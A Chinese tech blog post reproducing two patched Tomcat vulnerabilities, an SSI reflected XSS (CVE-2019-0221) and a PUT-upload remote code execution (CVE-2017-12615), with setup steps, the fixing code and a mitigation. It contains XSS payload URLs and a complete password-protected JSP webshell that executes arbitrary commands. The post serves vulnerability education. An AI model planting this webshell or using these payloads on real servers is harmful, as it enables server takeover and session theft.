我成功攻击了Tomcat服务器，大佬们的反应亮了
nanshan 2024-11-24 19:36 28 浏览 0 评论
Tomcat是一个开源的轻量级Web应用服务器，在我们平常工作过程中接触得非常多。代码也非常经典，很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的：世界上本没有漏洞，使用的人多了，也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。
今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程，以及漏洞为什么会产生，Tomcat大神们又是如何应对的。
【攻击一：XSS攻击】
一、SSI技术说明
首先演示的漏洞和Tomcat的SSI功能有关，SSI是什么
SSI技术，也叫作Serve Side Includes，SSI（服务器端包含）是放置在HTML页面中的指令，并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面，而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml；
举例：我们可以将指令放置到现有的HTML页面中，例如：
!--#echo var="DATE_LOCAL" -->
当该页面被执行时，将会显示如下结果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常见的用途之一：输出CGI程序的结果，例如``命中计数器''。关于该技术更为详细的说明参见：http://httpd.apache.org/docs/current/howto/ssi.html
二、为Tomcat开启SSI
- 准备好JRE、tomcat环境，我选择的是“apache-tomcat-9.0.10” （该漏洞受影响的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
- 修改conf/context.xml第19行，开启权限
<Context privileged="true">
- 修改conf\web.xml，开启SSI Servlet。该段代码默认是被注释掉的，我们删除注释即可，代码在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet>
去掉关于ssi配置的注释 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping>
- 在根目录下添加madashu_env.shtml（习惯性命名为printEnv.shtml）文件，位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
- 启动Tomcat即可
三、发起攻击
- 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
2. XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻击成功，页面展示如下。
通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序，攻击者还可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。
四、源码分析
漏洞产生后，Tomcat大神们迅速修复了该漏洞，我们从Github上找到当时的代码修复提交记录：点击查看commit
说真的，当时看到这段修复代码我是惊呆了，这是什么骚操作！！！“entity”又是什么鬼！！！
于是接下往下翻代码：
这个地方将我们输入的变量值直接输出到了网页，很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件，路径org.apache.catalina.ssi. SSIMediator
这样我们一下子就明白过来了，当发现是“entity”编码，会将输入的内容进行Escape，从而避免了XSS。估计大神们当时也是紧急出了个hotfix版本，直接把参数写死成“entity”。还有作为Web服务器，大神们竟然也会犯这么低级别的错误，所以这也解释了为什么不存在0Bug的系统，哈哈！去翻看最新的SSIPrintenv.java文件，已经把“entity”定义成常量了，这才专业嘛！
【攻击二：远程代码执行】
接下来再简单演示下远程代码执行漏洞，该漏洞为高危漏洞，即使是非默认配置，但是一旦存在漏洞，那么攻击者可以成功上传 Webshell，并控制服务器。
- 通过put方式上传文件，请求进行中时进行拦截：
- 生成恶意文件，取名叫jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 远程上传成功，接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
- 整个代码也是比较简单的，可以翻看JspServlet.java，这里就不做演示了。
说明：该漏洞影响范围非常广，从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。
结语
兴趣是最好的老师，我们通过去看大佬们掉过的坑，写过的代码，站在巨人的肩膀人可以更快速地提升自己。
有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞：http://tomcat.apache.org/security-9.html本次演示的两个漏洞分别是CVE-2019-0221，CVE-2017-12615。
作者：码大叔
来源：https://www.cnblogs.com/madashu/p/12550149.html
相关推荐
- 人人视频崩了怎么回事 人人视频下架了吗为什么刷不出来了
-
[海峡网]人人视频挂了吗下架了吗人人视频崩了怎么回事刷不出来了?人人视频发生了什么？怎么都看不成了，暂时还是永久？本来还以为是手机的问题，原来是客户端崩了难怪一直显示服务器异常！追着的美剧突然都下架...
- 502 bad gateway怎么解决?（502 bad gatewaynginxundefined）
-
相信许多小伙伴都遇到打开的网页提示502badgateway，502badgateway是提示用户该网址的网关错误，Web服务器作为网关或代理服务器时收到无效的响应，不管怎么刷新怎么重新输入地...
- 2岁男童眼睛被滴入强酸药水，医生亲身“试”药吓坏了……
-
平日里，小孩子爱玩爱闹是常事儿，但是大人的注意力如果时不时的掉线可就麻烦了。这一天，杭师大附院眼科陈舒主任医师像往常一样在接诊病人，然而一个孩子的哭闹声引起了她的注意，一群人神情焦灼，簇拥着一个孩子急...
- 3岁男童误将502胶当滴眼液，幸好妈妈及时处理，医生也为她点赞
-
小孩子由于心智还不够成熟，因此往往会做出一些危险的事情，甚至对自己造成伤害，这就需要家长的监督和保护。巧也不巧，日常生活中能够对孩子造成威胁的东西实在是太多了，堪称数不胜数，水笔、筷子、桌角，甚至刚拖...
- 5岁娃把502胶当眼药水滴眼中，爸爸的做法很机智，医生都称赞
-
文|哑铃妈妈家里有小孩子的一定要注意，在我们的家里存在很多的安全隐患，有的时候连家长都想不到的东西，竟然对孩子带来了伤害。5岁娃把502胶当眼药水滴眼中，爸爸的做法很机智，医生都点赞女孩乐乐长得可爱，...
- 宝宝误食502胶水，连忙送医救治，医生却夸宝妈做得好
-
有了孩子之后，妈妈都会变得神经敏感，生怕自己没有把孩子照顾好，但是毕竟一个人的经历是有限的，再加上孩子要是会走路，会说话之后对宝妈来说更是一种挑战，危及可能无时无刻不存在，这不，因为宝妈一转身的功夫，...
- 记一次Netty「直接内存溢出」导致线上网关项目宕机排查过程
-
作为一名Java开发者，我们都知道Java进程是运行在Java虚拟机上的，而Java进程要想正常运行则需要向计算机申请内存，其中主要为Java对象实例所占用的堆（heap）内存（当然还有其他的也会占用...
- 刚刚，突然崩了!网易云音乐紧急回应
-
今天下午#网易云音乐崩了#登上微博热搜第一在社交平台上，不少网友反馈，网易云音乐疑似崩溃。网友晒出网页端出现“502BadGateway”的服务器错误，同时网易云音乐的移动应用程序也无法正常使用。...
- 常见状态码（常见的状态码）
-
一二三四五原则:(即一:消息系列;二:成功系列;三:重定向系列;四:请求错误系列;五:服务器端错误系列。301状态码是永久移动302是临时移动304如果请求头中带有If-None-Match...
- 8岁男孩眼睛溅入502胶水，妈妈一番操作结果粘得更紧了
-
家有小孩的爸妈们肯定会多留个心眼照看虽然生活中已经时刻留意可能造成伤害的物品但有时一不留神幼小的孩子就会做出让人担心的事↓↓↓家住深圳的辰辰（化名）今年8岁了3月31日他在家里做手工时想要用未开封的5...
- 3岁娃滴502胶水在眼睛疼的尖叫，宝妈急中生智，保住孩子眼睛
-
但还好宝妈急中生智，连忙将孩子带到水龙头处，用水给孩子冲洗了一下眼睛，还用大量的生理盐水来给孩子清洗眼球，之后又立马将孩子送往医院，最后孩子的眼睛也没有什么大碍，拿了点药就能顺利出院了。而502胶水这...
- 网易云音乐回应App崩了:故障已陆续修复，补偿7天会员
-
2024年8月19日下午，多名网友反馈称，网易云音乐服务器疑似出现故障，登录网易云音乐APP后发现，个性化推荐和搜索功能均无法使用，并收到“获取数据失败”的提示。此外，网易云音乐的网页端也显示502错...
- 又崩了!不少人直接傻眼:太离谱!（台湾人到大陆后傻眼）
-
造车新势力哪吒汽车再被推向舆论风口。5月4日，话题#曝哪吒汽车APP断网#冲上微博热搜App断网无法使用从5月2日开始，陆续有多位网友反映哪吒汽车App断网，App控车无法使用。哪吒汽车App目前出现...
- 男子误把502胶水当眼药水!千万别犯这种低级错误!
-
你敢相信吗？有人竟然误把五零二胶水当成了眼药水滴进眼睛里。这可不是什么玩笑话，而是近日发生在武汉的一起真实事件。一名男子因此导致眼角膜严重受损，不得不紧急就医。据武汉大学附属爱尔眼科医院报道，这名男子...
- 502入眼危机!这份急救指南请牢记（502进入眼中怎么办）
-
502入眼，真实案例触目惊心生活中，502胶水是常用的黏合剂，以其强力黏合性备受青睐。但它一旦进入眼睛，后果不堪设想，下面这些真实案例，足以让我们警醒。曾有这样一则新闻，一位4岁女童在家玩耍时...
欢迎 你 发表评论:
- 一周热门
-
-
UOS服务器操作系统防火墙设置（uos20关闭防火墙）
-
极空间如何无损移机，新Z4 Pro又有哪些升级?极空间Z4 Pro深度体验
-
如何修复用户配置文件服务在 WINDOWS 上登录失败的问题
-
手机如何设置与显示准确时间的详细指南
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
日本海上自卫队的军衔制度（日本海上自卫队的军衔制度是什么）
-
10个免费文件中转服务站，分享文件简单方便，你知道几个?
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
NAS:DS video/DS file/DS photo等群晖移动端APP远程访问的教程
-
FANUC 0i-TF数据备份方法（fanuc系统备份教程）
-
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)